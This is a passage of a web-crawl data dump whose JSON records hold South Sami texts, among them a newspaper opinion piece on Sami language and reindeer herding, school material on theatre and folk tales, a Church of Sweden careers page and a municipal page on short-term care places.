0.052806317806243896}","num_words":370,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":0.909,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saken oppdateres.\nTjuetie jaepieh mænngan saemien voestes rijhketjåanghkoe lij Tråantesne göökte aamhtesh annje seamma vihkeles: Vaarjelimmie gïeleste jïh kultuvreste jïh gæmhpoe juktie dejnie aerpievuekien jielieminie gïehtelidh. Daan biejjien aavoedimmie saemien 100-jaepienheevehtimmeste aalka. Daate biejjie aaj saemiej åålmegebiejjie.\nSaemiej urrebe histovrijisnie ovvaantoeh orreme årroeh-båantajgujmie, daaresjimmie jïh ij goh unnemes daaroedehteme jïh saemide ovvåajnoes darjodh. Dej minngemes 30-40 jaepiej daate jorkesamme, dovne reaktaj jïh jååhkesjimmien bïjre, men annje vuesiehtimmieh gååvnesieh saemieh sïerredamme sjidtieh jïh aajhtoeh saemien jielemi vööste.\nGellie tröönderh eah daejrieh Tråante lea ryöknegamme goh åarjelsaemiej åejviestaare. Åarjelsaemien dajve lea Saltoduottaren raejeste noerhtene Engerdalen raajan åarjene jïh aaj stoerre bielieh Gaske-Sveerjeste.\nGoh akte unnebelåhkoe unnebelåhkosne åarjelsaemien kultuvre joekoen vaahresne. Ij goh unnemes gïelen bïjre, mij tjarke joekehtadta noerhtesaemien gïeleste. Åarjelsaemieh vaenieh, jïh vaenebe goh akte lehkie åarjelsaemien maahta. Unescon bijjieguvvien mietie åarjelsaemien «itjmies håvhtadihks». Mij akt mij lea positijve daan sjïekenisnie lea låhkoe dejstie noere gïeleutniejijstie lea naa jolle, mij ojhte lea ööhpehtimmiefaalenassen gaavhtan dovne Snåasesne jïh Röörosendajvesne.\nGosse mijjieh daam åvtehketjaalegem aaj åarjelsaemien gïelesne tjaelebe, dle dïhte akte onne dåarjoe juktie aktem gïelem våajnoes darjodh mij lea håvhtadihks.\nSeamma vihkeles goh gïele, lea nuepie aktem jielije båatsoem tjåadtjoehtidh. Jis daate aerpie ij guhkiebasse jielieh, dellie gïerve sjædta jïjtse identiteetem vaarjelidh. Åarjelsaemien dajvesne dle devverde vaenie mah bovtsigujmie gïehtelieh guktie bigkemedarjomh stoerresiebriedahkeste lissie laejhtehks. Maehtebe neebnedh gaertjiedimmie gåatomereaktijste jïh ij goh unnemes el-faamoebigkeme jïh geajnoeh. Lissine dle klijmajarkelimmieh leavhmoes daelviejgujmie aaj maehtieh aajhtojne årrodh.\nSaemien kultuvre lea vöörhkesovveme gellie tjuetie jaepieh. Aavoedimmie mij daelie lea Tråantesne, vuasahtallemigujmie, konserth, teaterestuhtjh, beapmoe jïh dååjresh, lea akte åajvoeh nuepie gaajhkesidie buerebelaakan aktine jïh gieltegs bieline nöörjen kultuvreste.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.adressa.no\/meninger\/2017\/02\/03\/%C3%85arjelsaemiej-g%C3%AFele-j%C3%AFh-jieleme-annje-h%C3%A5vhtadamme-14165021.ece","date":"2019-11-18T08:47:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496669730.38\/warc\/CC-MAIN-20191118080848-20191118104848-00427.warc.gz","language":"sma","language_score":1.0000030994,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000030994415283}","num_words":262,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Teaterisnie gellie tjeahpoe-hammoeh seamma arenesne tjåanghkenieh. Dovne dorjehtæjjah, scenografije, guvvie-tjeahpoe, lidteratuvre, musihke, daanhtsome jïh jeatjah tjeahpoe-hammoeh elliesvoetese tjåanghkanieh jïh dorjehtimmie sjædta.\nRegije\nRegisööre lea tjeahpoen bijjemes åejvie teaterisnie. Dan dïedte scenan viehkie-dïrregh veeljedh mah edtjieh dorjehtimmesne gååvnesidh.\nScenografije\nScenografije, guktie dorjehtimmien scena-romme galka årrodh. Scenografen dïedte scenam hammoedidh, guktie maahta dam utnedh jïh dorjehtimmien mietie jarkelidh. Visuelle viehkie-dïrregh dorjehtimmesne leah scenografije, vaarjoeh jïh tjoevke.\nScenografije lea aaj dekorasjovnh. Dekorasjovne sïejhme måaladamme jïh kanne tjïehtjelem vuesehte. Dekorasjovnh mah maehtieh juhtedh kulissh gohtjebe.\nTjoevke\nTjoevke edtja dorjehtæmman sjïehtedh. Plaave, kruana jïh fiolette galme tjoevke sjidtieh jïh rööpses, viskes jïh oransje baahke tjoevke sjidtieh. Jeatjah vuekieh tjoevkine barkedh aaj gååvnesieh, v.g. spot-tjoevke, laser-tjoevke.\nTjoeje\nTjoeje vihkele viehkie-dïrrege dorjehtimmesne. Dovletje lij tjoeje dorjehtæjjaj gïelh, men daelie tjoejeviehkie-dïrregh gååvnesieh teaterisnie. Dah maehtieh iemie-tjoeje jïh teknihke-tjoeje aktanidh, guktie ållesth tjoeje-guvvie sjædta.Tjoejh jïh musihke scenesne mijjen domtesh tsevtsieh.\nRekvisidth\nRekvisidth leah daeverh mejtie råålla-gaagkoeh maehtieh dorjehtimmesne utnedh. Rekvisitööre jïh scenografe ektesne berkieh jïh rekvisidtide scenese sjïehtedieh. Såemies aejkien rekvisidte aaj symbole.\nScena-vaarjoeh\nMah dorjehtæjjah edtjieh gåårvedidh? Mij jaepie-boelhkide jallh tïjjide? Daaletje jallh dovletje? Vaarjoeh maehtieh dorjehtæjjan råålla-gaagkoem tjïelkebe vuesiehtidh.\nSminke\nSminke maahta aaj råålla-gaagkoem hammoedidh, v.g noere jallh båeries.\nKarakterh jïh råålla-barkoe\nDorjehtæjja göökte laavenjassh åtna. Dïhte edtja råålla-gaagkoen domtesh vuesiehtidh jïh guktie råålla-gaagkoe scenesne dåemede aaj karakterem vuesehte. Dorjehtæjja tjuara dovne åejjiem, kråahpem jïh domtesh nuhtjedh.\nBaakoeh\n|Saemien||Daaroen|\n|dorjehtimmie||skuespill|\n|tjeahpoe||kunst|\n|tjeahpoe-hammoe||kunstform|\nDraamaKjernestoff\nRaahkele-PiereKjernestoff","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:176552\/topic:1:182306\/resource:1:173871","date":"2019-11-12T02:05:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496664469.42\/warc\/CC-MAIN-20191112001515-20191112025515-00246.warc.gz","language":"sma","language_score":0.9999970198,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999970197677612}","num_words":227,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate tjaalege lea gærjeste Staaloeh vienhtieh aske lea dålle, maam Kirsti Birkeland tjaaleme. Ella Holm Bull lea tjaalegem åarjelsaemien gïelese jarkoestamme.\nSaajve-jaevresne gööleminie\nIkth ligan göökte saemieh gïeh vaaran vöölkigan edtjigan nuehtine gööledh. Akte lij båeries dïhte mubpie noere. Goh dan jaevrien gåajkoe böötigan dellie eelkigan gööledh. Vaenieh guelieh åadtjoejigan, guktie latjkajigan edtjigan orrijidh jïh gåatan vuelkedh. Dle dïhte båarasommes jeehti:\n- Manne jaevriem daajram gusnie leah jïjnjh guelieh, stoerre buajtehke. Dïhte gidtjh dïhte, ij desnie nåhtedh guelieh åadtjodh jis ij buektehth sjeavodh årrodh. Juktie dïhte lea saajve-jaevrie.\n- Baejien dahkoe vaedtsedh, dïhte nööremes saemie jeehti.\n- Nov manne maahtam sjeavodh årrodh.\nNimhtie dellie dan saajve-jaevrien gåajkoe vöölkigan. Ojhte nuehtiem jaavran vaerhpiedigan jïh gaadtan geesigan. Nuehtie lij dïeves vievtjije guelijste. Dellie dïhte nööremes ussjedi: Eah daah guelieh maehtieh olkese tjihtedidh. Eah daennie viermesne fiejlieh gååvnesh.\nJïh dellie ojhte baakoem miste lööjhti. Idtji buektehth sjeavodh årrodh. Dallatjinie lij nuehtie öövre gåaroes, idtji vielie guelie vååjnh. Dellie dïhte båarasommes saemie jeehti:\n- Ij monnese daesnie nåhtedh gööledh. Aerviedim idtji datne buektehth sjeavodh årrodh.\n- Baejien ikth vielie voejhkelidh, dïhte mubpie jeehti, - nov edtjem daan aejkien gaegniedidh.\nDellie vihth nuehtiem jaavran vaerhpiedigan. Jïh dellie gaadtan geesigan. Gosse nuehtiem gaadtan geaseme, dellie vööjnigan nuehtie tjaebpies guelijste dïeves. Dillie vihth ussjedi:\n- Eah edtjh daelie guktemes laakan olkese luajhtasovvedh.\nJïh dam aaj jeehti. Dallatjinie lin gaajhkh guelieh haajpanamme. Idtjigan maam åadtjoeh. Dillie dïhte båeries saemie jeehti:\n- Buerebe gåatan vaedtsien. Ij monnese daesnie lahkaskovh guelieh åadtjodh, gosse ij daate mov voelpe buektehth sjeavodh årrodh.\nDie dïhte nööremes ikth vielie tjoemehti jïh luhpiehti idtji edtjh satneste daelie vielie gïelem govledh.\n- Aajja, jis datne sïjhth. Daelie leam lïereme!\nVihth nuehtiem jaavran vaerhpiedigan. Gaadtan aaj geesigan. Daelie lij aaj guelijste dïeves. Mahte lij baakoem biestieminie, dellie maajetjh buektiehti njaelmiem steeredh. Gosse nuehtiem gaadtan geaseme, dellie ojhte alvas saalehtem åadtjoejigan, jïh stoerre, buajtehks guelieh lin. Daelie dle båarasommes saemie jeehti:\n- Dellie vuajnah. Gosse barre månnoeh limen sjeavodh, dellie jïjnjh guelieh åadtjoejimen.\nNimhtie lea saajve-jaevrine. Jis daesnie sæjhta gööledh, die tjuara sjeavodh årrodh.\nBaakoeh\nSaemien\nDaaroen\nlahkasovh\nlahkasieh - bli igjen hist og her\nvievtjije\nsprellende\nguktemes laakan\npå hvilken som helst måte\nLaavenjassh: Dïhte gollehkeKjernestoff\nQuize: Dïhte gollehke tïjjeKjernestoff\nLaavenjassh: BrorkeKjernestoff\nLaavenjassh: GurhtieKjernestoff\nLaavenjassh: RiepieKjernestoff\nLaavenjassh: Sjugniedimmie-soptseshKjernestoff\nLaavenjassh: Staaloej bïjreKjernestoff\nLaavenjassh: Staaloe jïh åerpienadtjhKjernestoff\nTjaeleme-laavenjassh staaloej bïjreKjernestoff\nLaavenjassh: Rovhtegen bïjreKjernestoff\nLaavenjassh Rovhtegen soptsesasseKjernestoff\nMaam rovhtegen bïjre måjhtah?Kjernestoff\nMaam saajvi bïjre måjhtah?Kjernestoff\nLaavenjassh: Saajvi bïjreKjernestoff\nLaavenjassh: Saajvejaevresne gööleminieKjernestoff\nQuize bïernen bïjreKjernestoff\nLaavenjassh: Bïernen bïjreKjernestoff\nLaavenjassh: Duvrien-ålmaKjernestoff\nLaavenjassh: VaajeseKjernestoff\nLaavenjassh: Biejjien nïejteKjernestoff\nLaavenjassh: Klies KliemmaKjernestoff\nLaavenjassh: Nahkoergöörnjen giebnieKjernestoff\nLaavenjassh: Naahkoegöörnje jaememeKjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh: DïejveshKjernestoff\nDïhte gollehke tïjjeKjernestoff\nBrorkeKjernestoff\nGurhtieKjernestoff\nRiepieKjernestoff\nStaaloej bïjreKjernestoff\nDellie goh staaloe moere-galtine pruvriKjernestoff\nAkte staaloe mij dakterem utniKjernestoff\nStaaloe jïh åerpienadtjhKjernestoff\nNjeevetje-ietnie jïh RovhtegeKjernestoff\n- Kjernestoff\nSaemie saajvi luvnieKjernestoff\nBïerneKjernestoff\nSaemien jïh boelt-aajjan dååjvehtseKjernestoff\nDuvrien-ålmaKjernestoff\nBiejjien nïejteKjernestoff\nKlies KliemmetKjernestoff\nNahkoergöörnjen giebnieKjernestoff\nNahkoergöörnjen jaememeKjernestoff\nSjeltien nåejtieKjernestoff\nTjuvrieKjernestoff","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185443\/resource:1:127484","date":"2019-11-19T11:58:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670135.29\/warc\/CC-MAIN-20191119093744-20191119121744-00018.warc.gz","language":"sma","language_score":0.9999339581,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999339580535889}","num_words":461,"character_repetition_ratio":0.145,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daesnie golme åenehks soptsesh gærjeste Gåebrehki soptsesh maam Knut Bergsland tjaaleme. Gærja voestes aejkien trygkesovvi jaepien 1943 jïh mubpien aejkien jaepien 1987. Ella Holm Bull lea gærjam åarjel-saemien learoe-reaktoen mietie orresistie tjaaleme.\nGosse nïejth baernieh lyjhkesedtieh jïh latjkah, dellie nïejte maejkieh dåastohte. Provhkin åvtesne soermesem vedtedh. Dïhte soermese lij sïlpeste, biejjie-bielesne plïehtje, gusnie jeenjh ohtje laavh. Jïh gosse provrenidh, dellie gullie-ringsije. Muvhth badth åvtelbodti aaj nïejtem maejkiehtidh. Nïejte jis tjaebpies voedtegh jïh jis gåaroje, dellie tjaebpies boenge-skuvmieh vadta dan sov baarnan. Jïh die dïhte baernie gosse såångede pråvhka sïlpebustem aaj vedtedh. Dan maalle goh sarvehken. Åenehks nïrre jïh buste jorpehke. Nïrresne måedtieh laavh. Aaj maejkine provhkin.\nIkth akte baernie bööti såångedidh, dïhte nïejte govli dïhte baernie galka båetedh. Dellie doerkesti båastoeh-ligke, doerken gïeregh oksen gåajkoe jïh maadtegh båassjoen gåajkoe. Numhtie daajhtoeji juktie idtji dam pååjkem lyjhkh. Dellie gosse pååjke bööti jïh vööjni guktie lij doerkestamme, dellie mïeli idtji dïhte nïejte satnem lyjhkh.\nIdtjin båeries almetjh lyjhkh gosse åerbieletjh jielbieletjh (aajkoehkadtjh) pruvrin; jiehtieh ij leah reaktoe dan lïhke slïekth. Jïh idtjin lyjhkh gosse akte åabpa pruvri maakebinie jallh vïjvebinie; jeehtin: ij edtjh badth åabpeben sæjjan provrenidh. Jïh idtjin lyjhkh nïejth guhkiem faelhkesne; buerebe provrenidh. Dan aejkien stoerre skaamoe jis nïejte maanam åvtelbodti fihki.\nLaavenjassh: Don aejkien vaarjoej bïjreKjernestoff\nLaavenjassh: Tïjjen 1965 åvtelenKjernestoff\nLaavenjassh: Biejjie-baernieKjernestoff\nLaavenjassh: Johan Turin tjaalegidieKjernestoff\nTjaelieh ussjeden tjaalegemKjernestoff\nLaavenjasse Elsa Laulan bïjreKjernestoff\nLaavenjassh Elsan håalemasseKjernestoff\nÅehpiedehtieh saemien-faageles teemamKjernestoff\nLaavenjassh: GuldnasasKjernestoff\nLaavenjassh: Såångedidh jïh pruvredhKjernestoff\nMåersie faavroeKjernestoff\nSoelege jih nåejtieKjernestoff\nDon aejkien vaarjoej bïjreKjernestoff\nBiejjie-baernien såangoeKjernestoff\nBiejjie-niejten sealadimmieKjernestoff\nVaajese juvri bïjreKjernestoff\nMaana-sujhtemen bïjreKjernestoff\nSaemien tsiehkiej bïjreKjernestoff\nDej baaletje såangoeKjernestoff\nKaarre mij edtji vïjvem veeljedhKjernestoff\nSåångedimmie jïh hïejeKjernestoff\n- Kjernestoff\nGuldnasasKjernestoff","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:189078\/resource:1:190227","date":"2019-12-16T04:59:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541317967.94\/warc\/CC-MAIN-20191216041840-20191216065840-00376.warc.gz","language":"sma","language_score":0.9999576807,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999576807022095}","num_words":267,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïeline Goetsebe 1. Åarjelsaemien mubpiegïeline. Lohkehtæjjan bïhkedimmie (Lærerveiledning)\nGïeline goetsebe lea åarjelsaemien learoevierhtie. Learoevierhtide lohkemegærja, göökte barkoegærjah, lohkehtæjjan bïhkedimmieh jïh CD'h. Gærjah leah voestes daltesen learoehkidie jïh 10-jaapetje maadthskuvlen saemien learoesoejkesjen mietie.\nDaate lea Gïeline goetsebe 1 lohkehtæjjan bïhkedimmie åarjelsaemien mubpiegïeline.\nGïeline goestebe er et læreverk i sørsamisk språk. Det består av lesebok, to arbeidsbøker, lærerveiledninger og CDer.\nDette er Gïeline goetsebe 1 lærerveiledning for sørsamisk som andrespråk.\nBestillinger til skoler og institusjoner bes rettet til ordretelefon 22500400.","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/transit.no\/boker\/g%C3%AFeline-goetsebe-1-%C3%A5arjelsaemien-mubpieg%C3%AFeline-lohkeht%C3%A6jjan-b%C3%AFhkedimmie-l%C3%A6rerveiledning","date":"2019-12-11T08:49:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540530452.95\/warc\/CC-MAIN-20191211074417-20191211102417-00240.warc.gz","language":"sma","language_score":0.9550405145,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9550405144691467, \"sme_Latn_score\": 0.04490285739302635}","num_words":74,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":0.972,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïeline Goetsebe 1. Åarjelsaemien. Lohkemegærja (Lesebok)\nLea dïhte voestes lohkemegærja åarjelsaemien learoevierhtijste. Lohkemegærja dovne learhkidie gieh åarjelsaemien voestesgïeline jïh learohkidie mubpiegïeline. Learoevierhtide göökte barkoegærjah, akte dejtie åarjelsaemien voestesgïeline, jïh akte dejtie mubpiegïeline. Lissine daase lohkehtæjjide aaj bïhkedasse fïerhten ulmiedåahkan. Gærjah leah 1. daltesen learohkidie jïh 10-jaapetje maadthskuvlen saemien learoesoejkesjen mietie.\nBestillinger til skoler og institusjoner bes rettet til ordretelefon 22500400.","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/transit.no\/boker\/g%C3%AFeline-goetsebe-1-%C3%A5arjelsaemien-lohkemeg%C3%A6rja-lesebok","date":"2019-12-11T07:47:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540530452.95\/warc\/CC-MAIN-20191211074417-20191211102417-00320.warc.gz","language":"sma","language_score":0.9994714856,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9994714856147766}","num_words":57,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.158,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Duvrien-ålma lea gærjeste Staaloeh vienhtieh aske lea dålle maam Kirsti Birkeland tjaaleme. Ella Holm Bull lea tjaalegem åarjel-saemien gïelese jarkoestamme.\nDuvrien-ålma\nIkth lij Hatsves-ietnie aktem kaarrem nååjteme guktie dïhte tjoeri gaajhkh biejjieh goh duvrie veasodh. Dïhte guhkede almetjistie jïeneme-raejkesne jeeli. Desnie lij öövre oktegh, almetjidie ohtsi jïh sårkosne lij.\nBiejjien-nïejte guhte gaajhki almetji sårkoem jïh aavoem vuajna, dïhte dejnie duvrien-ålmine aarmogs sjïdti, jïh dellie jïjtjemse tjaebpies, faavroes nïejtine skaepiedi jïh eatnamasse tjöödtjesti. Skåajjesne våaltas sæjjan tjihkedi. Baalte dagkoe lij duvrien vaadtsaldahke.\nGosse duvrie bööti jïh dam vueptiesti, die bïlli edtji Biejjien-nïejte bïllijidh, nimhtie guktie gaajhkh almetjh gosse dam vööjnin. Biejjien-nïejte altese rudtjen nille goegkerdi jïh dan gaavmose dåeriedi. Desnie ektesne jeeligan goh gobpe jïh gujne. Boelhke nåhkeme dellie baerniem åadtjoejigan. Gellie jaepie aavosne ektesne årroejin. Biejjien-nïejte jïh altese baernie muerjieh tjöönghkigan, duvrien-ålma bearkoeh reebli, guktie ij lij neavroe. Baernie byjjeni jïh seamma faavroes jïh hijven sjïdti goh tjidtjebe, jïh veaksehks jïh jiermegs goh aehtjebe.\nAkten biejjien die duvrien-ålma jeehti: - Datne gieries gåmma, die edtjh datne sïlpe-gåahkem mov tjeapohken bïjre dibrehtidh. Mænngan edtjeden dåtnoeh mov almetji gåajkoe vaedtsedh jïh desnie sjïdtedh. Gosse govlh gïeh duvriem vijreme mesnie tjeapohken bïjre sïlpe-gåahke die edtjh vaedtsedh jïh dov biehkiem krïevedh. Jis eah dutnjien dam sïjhth vedtedh, die edtjh krovhtem reegkehtidh, die gujht vïenhth åadtjoeh jïh dellie juakadin.\nIj lij man guhkie mænngan, die åadtjoejin govledh duvriem vuatjeme jïh dïhte jis sïlpe- gåahkine. Biejjien-nïejte elties baerniem meatan veelti, veedtsi dahkoe jïh jeehti: - Die edtjede monnese monnen biehkiem vedtedh. Dah duvrie-vijrijh nyöjhkin idtjin dah maam vedtieh. Dellie Biejjien-nïejte dam krovhtem reegkehti goh dïhte bearkoe lij aelkieminie doeltedh, jïh dellie gæljoeji: - Tjuedtjelh bæjjese, gieries paarre-bielie, eah monnine sïjhth juekedh. Die krovhtem gupmiehti, jïh kaarre lij dagkoe jielije tjåadtjoeminie. Daelie lij nååjtemistie råajvas, jïh ektesne aavosne gellie jaepieh jeelin.\nLaavenjassh: Dïhte gollehkeKjernestoff\nQuize: Dïhte gollehke tïjjeKjernestoff\nLaavenjassh: BrorkeKjernestoff\nLaavenjassh: GurhtieKjernestoff\nLaavenjassh: RiepieKjernestoff\nLaavenjassh: Sjugniedimmie-soptseshKjernestoff\nLaavenjassh: Staaloej bïjreKjernestoff\nLaavenjassh: Staaloe jïh åerpienadtjhKjernestoff\nTjaeleme-laavenjassh staaloej bïjreKjernestoff\nLaavenjassh: Rovhtegen bïjreKjernestoff\nLaavenjassh Rovhtegen soptsesasseKjernestoff\nMaam rovhtegen bïjre måjhtah?Kjernestoff\nMaam saajvi bïjre måjhtah?Kjernestoff\nLaavenjassh: Saajvi bïjreKjernestoff\nLaavenjassh: Saajvejaevresne gööleminieKjernestoff\nQuize bïernen bïjreKjernestoff\nLaavenjassh: Bïernen bïjreKjernestoff\nLaavenjassh: Duvrien-ålmaKjernestoff\nLaavenjassh: VaajeseKjernestoff\nLaavenjassh: Biejjien nïejteKjernestoff\nLaavenjassh: Klies KliemmaKjernestoff\nLaavenjassh: Nahkoergöörnjen giebnieKjernestoff\nLaavenjassh: Naahkoegöörnje jaememeKjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh: DïejveshKjernestoff\nDïhte gollehke tïjjeKjernestoff\nBrorkeKjernestoff\nGurhtieKjernestoff\nRiepieKjernestoff\nStaaloej bïjreKjernestoff\nDellie goh staaloe moere-galtine pruvriKjernestoff\nAkte staaloe mij dakterem utniKjernestoff\nStaaloe jïh åerpienadtjhKjernestoff\nNjeevetje-ietnie jïh RovhtegeKjernestoff\nSaajve-jaevresne gööleminieKjernestoff\nSaemie saajvi luvnieKjernestoff\nBïerneKjernestoff\nSaemien jïh boelt-aajjan dååjvehtseKjernestoff\n- Kjernestoff\nBiejjien nïejteKjernestoff\nKlies KliemmetKjernestoff\nNahkoergöörnjen giebnieKjernestoff\nNahkoergöörnjen jaememeKjernestoff\nSjeltien nåejtieKjernestoff\nTjuvrieKjernestoff","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185443\/resource:1:129484","date":"2019-12-09T19:05:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540521378.25\/warc\/CC-MAIN-20191209173528-20191209201528-00240.warc.gz","language":"sma","language_score":0.9999155998,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.999915599822998}","num_words":408,"character_repetition_ratio":0.155,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gærhkoe barkijh daarpesje ovmessie barkoesuerkijste. Ij barre hearrah, diakovnh, musihkerh jïh pedagogh gærhkosne berkieh dovne ekonomh, gaertenebarkijh, bievnijh jïh barkoe-eksperth.\nDaesnie barkoeh Sveerjen gærhkosne gaavnh.\nGellie ovmessie barkoeh\n● Jeenemes barkijh gærhkosne åålmeginie berkieh. Åålmegen vihkielommes barkoe leah almetjh gaavnesjidh, viehkiehtidh jïh buerie jieleden åvteste barkedh.\n● Gærhkoen regionaale daltese lea stifte. Sveerjen gærhkoen leah 13 stifth.\n● Stifte edtja evtemes åålmegi barkoem eevtjedh.\n● Dah barkijh gærhkoen nasjonaale daltesisnie abpe gærhkoen ektiebarkojne jïh evtiedimmine berkieh. Dïhte nasjonaale kanslije lea gærhkoekanslije Uppsalesne.\n● Sveerjen gærhkoen leah aaj barkijh gïeh ålkoelaantesne berkieh. Daesnie vielie bïevnesh gaavnh Sveerjen gærhkoen barkoej bïjre ålkoelaantesne.\nBarkoeh gærhkosne\nDaagkoe vuelege njieljie barkoej bïjre Sveerjen gærhkosne soptsestibie.\nHearra\nHearran vihkielommes barkoe edtja gyrhkesjidh, almetjh råakedh jïh sealoehoksem vedtedh. Barkoevåhkosne dellie barkoeh gosse gyrhkesjidh, laavkomh, juvlemh, pruvrh jïh ovmessie tjåanghkoeh åålmegisnie. Åålmegehearra maahta ovmessie nommh utnedh – v.g. komministeere jïh gærhkoehearra. Naan hearrah sjïere laavenjassh utnieh gærhkoen åvteste vuesiehtimmien gaavhtan skïemtjegåetine, skuvline jallh faangkegåetine.\nDiakovne\nDiakovne almetji- jïh fuelhkiejgujmie ektine barka ovmessie jieledetsiehkine jïh gosse aehpie. Diakovne almetjh viehkehte jïjtjemse viehkiehtidh jïh dej sijjen jïjtje faamoem gaavnedh.\nDiakovne vuajna gusnie aehpie lea, almetjh dåårje.\nBarkosne galka almetjidie goltelidh jïh vuejnedh dejtie giejtie aehpesne jïh dejtie dåeriesmoeride tjalmahtidh jïh voejhkelidh maam joem dejgujmie darjodh. Diakovnine dellie jïjtjevyljehke-organisatjovnigujmie ektine barka jïh sosijaale- jïh healsoehokse reeremigujmie.\nÅålmegepedagååkh\nÅålmegepedagååkh edtjieh meatan årrodh barkoem maanide, noeride jïh geerve almetjidie eevtjedh jïh evtiedidh. Barkosne edtjieh almetjigujmie gaavnedidh joekehts aalterisnie jïh barkoem ovmessie dåehkine stuvredh. Åålmegepedagååke skuvli- jïh ööhpehtimmie organisasjovni ektine barka jïh viermievierhkesne dovne tjïelti- jïh organisasjovnigujmie ektine.\nGærhkoemusihkere\nGærhkoemusihkere lea profesjonelle musihkerh. Gærhkoemusihkere spealede jïh lååvle gyrhkesjimmesne jïh jeatjah gærhkoen tjåanghkojne jïh laavlomedåehkieh jïh orkesterh juhtehte. Dïhte åålmegen musihkevierhkide edtja evtiedidh: gærhkoekonseerth, musihkestååkedimmieskuvle, musihkedåehkieh noeride jïh laavlomedåehkieh båeries almetjidie.\nDaesnie bïevnesh dej barkoej ööhpehtimmide gaavnh.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.svenskakyrkan.se\/svienske-grhkose-barkedh-dellie-barka-misse-joem-jaahka","date":"2019-12-11T06:29:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540529955.67\/warc\/CC-MAIN-20191211045724-20191211073724-00056.warc.gz","language":"sma","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 1.0000067949295044}","num_words":285,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Korttidsplats är en tillfällig plats i särskilt boende. Den kan behövas för eftervård och fortsatt rehabilitering efter sjukhusvistelse. Korttidsplats kan också innebära avlastning för en anhörig som vårdar någon närstående. Korttidsplats kallas ibland sviktplats eller växelvård.\nAnsöker om korttidsplats gör du själv eller med hjälp av en legal företrädare. Ansökan skickas till biståndsenheten. Det går också att göra en muntlig ansökan. Biståndshandläggaren gör en individuell utredning och bedömning av behovet och insatserna. Vid utredning och bedömning är du själv delaktig så långt det är möjligt.\nDet är en dygnsavgift för korttidsplats som delvis ingår i maxtaxan. Kostnaden räknas ut enligt taxa för tillfällig vård och fullkost vid tillfällig vård.\nDet går att överklaga beslut enligt socialtjänstlagen (2001:453) om du är missnöjd med beslutet.\nÅenehkstïjjesijjie lea aktem annjebodts sijjiem sjïere årromesijjesne. Dam maahta daarpesjidh minngiesåjhtose jïh gåessie rehabiliteerijinie jåerhkedh mænngan gåessie skïemtjegåetesne orreme. Åenehkstïjjesijjiem maahta aaj årrodh viehkiem akten lïhkesadtjese mij 